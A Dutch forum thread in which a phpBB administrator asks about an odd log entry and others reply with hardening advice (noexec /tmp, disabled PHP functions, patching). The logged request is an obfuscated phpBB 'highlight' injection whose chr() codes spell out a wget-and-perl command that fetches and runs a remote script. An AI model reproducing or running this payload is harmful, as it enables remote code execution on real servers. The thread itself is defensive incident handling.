Onderwerp: Raar iets in de log files? phpbb

Ik kwam iets raars tegen in de logs, deze gebruikt phpbb
Kan me iemand zeggen wat dit is?
-
viewtopic.php?p=4587&highlight=%2527%252Esystem(ch r(119)%252Echr(103)%252Echr(101)%252Echr(116)%252E chr(32)%252Echr(104)%252Echr(116)%252Echr(116)%252 Echr(112)%252Echr(58)%252Echr(47)%252Echr(47)%252E chr(55)%252Echr(48)%252Echr(46)%252Echr(56)%252Ech r(53)%252Echr(46)%252Echr(50)%252Echr(52)%252Echr( 54)%252Echr(46)%252Echr(54)%252Echr(54)%252Echr(47 )%252Echr(126)%252Echr(101)%252Echr(118)%252Echr(1 05)%252Echr(108)%252Echr(112)%252Echr(112)%252Echr (108)%252Echr(47)%252Echr(108)%252Echr(105)%252Ech r(110)%252Echr(117)%252Echr(120)%252Echr(100)%252E chr(97)%252Echr(121)%252Echr(46)%252Echr(116)%252E chr(120)%252Echr(116)%252Echr(32)%252Echr(45)%252E chr(79)%252Echr(32)%252Echr(47)%252Echr(116)%252Ec hr(109)%252Echr(112)%252Echr(47)%252Echr(46)%252Ec hr(101)%252Echr(118)%252Echr(105)%252Echr(108)%252 Echr(97)%252Echr(110)%252Echr(103)%252Echr(101)%25 2Echr(108)%252Echr(105)%252Echr(99)%252Echr(97)%25 2Echr(50)%252Echr(59)%252Echr(112)%252Echr(101)%25 2Echr(114)%252Echr(108)%252Echr(32)%252Echr(47)%25 2Echr(116)%252Echr(109)%252Echr(112)%252Echr(47)%2 52Echr(46)%252Echr(101)%252Echr(118)%252Echr(105)% 252Echr(108)%252Echr(97)%252Echr(110)%252Echr(103) %252Echr(101)%252Echr(108)%252Echr(105)%252Echr(99 )%252Echr(97)%252Echr(50))%252E%2527

http://marc.theaimsgroup.com/?l=bugt...5752909029&w=2

Dank je voor de snelle reaktie..
In de /tmp staat een bestand die geinfecteerd is met PERL/Asan
Wat kan ik doen nu?
De gebruiker heb ik al tijdelijk op non aktief gezet.

Origineel geplaatst door Herbert
Dank je voor de snelle reaktie..
In de /tmp staat een bestand die geinfecteerd is met PERL/Asan
Wat kan ik doen nu?
De gebruiker heb ik al tijdelijk op non aktief gezet.

Om te beginnen je /tmp-dir securen. Even mounten als noexec. Daarmee heb je de meeste scriptkiddies al buiten de deur. Ook kan je in je php.ini een paar functies uitzetten zodat gebruikers geen systeembestanden mogen uitvoeren. Uiteraard ook even de gebruiker zijn phpBB laten patchen.

Na alles na gelopen te hebben heb ik verder niets kunnen vinden.
Er stond wel wat in de tmp maar dit was niet uitvoerbaar.
Volgens mij was de beveiliging ok, geen schade verder hier.
De /tmp is mounted als volgt: /tmp ext3 noexec,dev,suid,ro 0 2
Bedankt voor de reakties.